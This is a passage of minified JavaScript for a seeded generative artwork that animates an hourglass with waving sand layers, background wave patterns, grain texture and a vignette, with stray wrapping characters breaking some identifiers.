e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
